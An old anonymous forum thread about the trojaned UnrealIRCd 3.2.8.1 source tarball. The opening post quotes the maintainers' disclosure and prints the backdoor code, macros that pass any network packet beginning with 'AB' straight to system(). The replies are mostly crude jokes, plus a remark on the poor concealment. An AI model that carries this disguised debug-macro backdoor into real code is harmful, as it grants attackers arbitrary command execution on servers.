Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

Proper backdoor haxing

Name: suna 2010-09-02 8:23

We found out that the Unreal3.2.8.1.tar.gz file on our mirrors has been
replaced quite a while ago with a version with a backdoor (trojan) in it.
This backdoor allows a person to execute ANY command with the privileges of
the user running the ircd. The backdoor can be executed regardless of any user
restrictions (so even if you have passworded server or hub that doesn't allow
any users in).

It appears the replacement of the .tar.gz occurred in November 2009 (at least on some mirrors). It seems nobody noticed it until now.



static int read_packet(aClient *cptr, fd_set *rfd)
{
        int  dolen = 0, length = 0, done;
        time_t now = TStime();
        if (FD_ISSET(cptr->fd, rfd) &&
            !(IsPerson(cptr) && DBufLength(&cptr->recvQ) > 6090))
        {
                Hook *h;
                SET_ERRNO(0);
#ifdef USE_SSL
                if (cptr->flags & FLAGS_SSL)
                        length = ircd_SSL_read(cptr, readbuf, sizeof(readbuf));
                else
#endif
                        length = recv(cptr->fd, readbuf, sizeof(readbuf), 0);
                cptr->lasttime = now;
                if (cptr->lasttime > cptr->since)
                        cptr->since = cptr->lasttime;
                cptr->flags &= ~(FLAGS_PINGSENT | FLAGS_NONL);
              
                 // If not ready, fake it so it isnt closed
              
                if (length < 0 && ERRNO == P_EWOULDBLOCK)
                    return 1;
                if (length <= 0)
                        return length;
#ifdef DEBUGMODE3
        if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
            DEBUG3_LOG(readbuf);
#endif


...


#ifdef DEBUGMODE3
#define DEBUGMODE3_INFO "AB"
#define DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
#endif


...

#define DEBUG3_DOLOG_SYSTEM(x)system(x)

Name: Anonymous 2010-09-02 9:48

Who gives a shit about irc anyway?

Name: Anonymous 2010-09-02 10:03

Who gives a shit about my anus

Name: Anonymous 2010-09-02 10:06

Hax mon culircd

Name: Anonymous 2010-09-02 10:15

My anus gives a shit about irc.

Name: Anonymous 2010-09-02 11:06

ancient

Name: Anonymous 2010-09-02 11:09

Video games are for children.

Name: Anonymous 2010-09-02 11:09

ancient anus

Name: Anonymous 2010-09-02 12:08

Go away.

Name: Anonymous 2010-09-02 14:17

>>1
HAX MY BACKDOOR

Name: Anonymous 2010-09-02 22:32

>>1
That's a Terrible! attempt at concealing a backdoor.

Name: Anonymous 2010-09-05 14:56

But wouldn't the system call always begin with "AB", since that's in the first two bytes of readbuf?

Name: Anonymous 2010-12-09 9:21


Don't change these.
Name: Email:
Entire Thread Thread List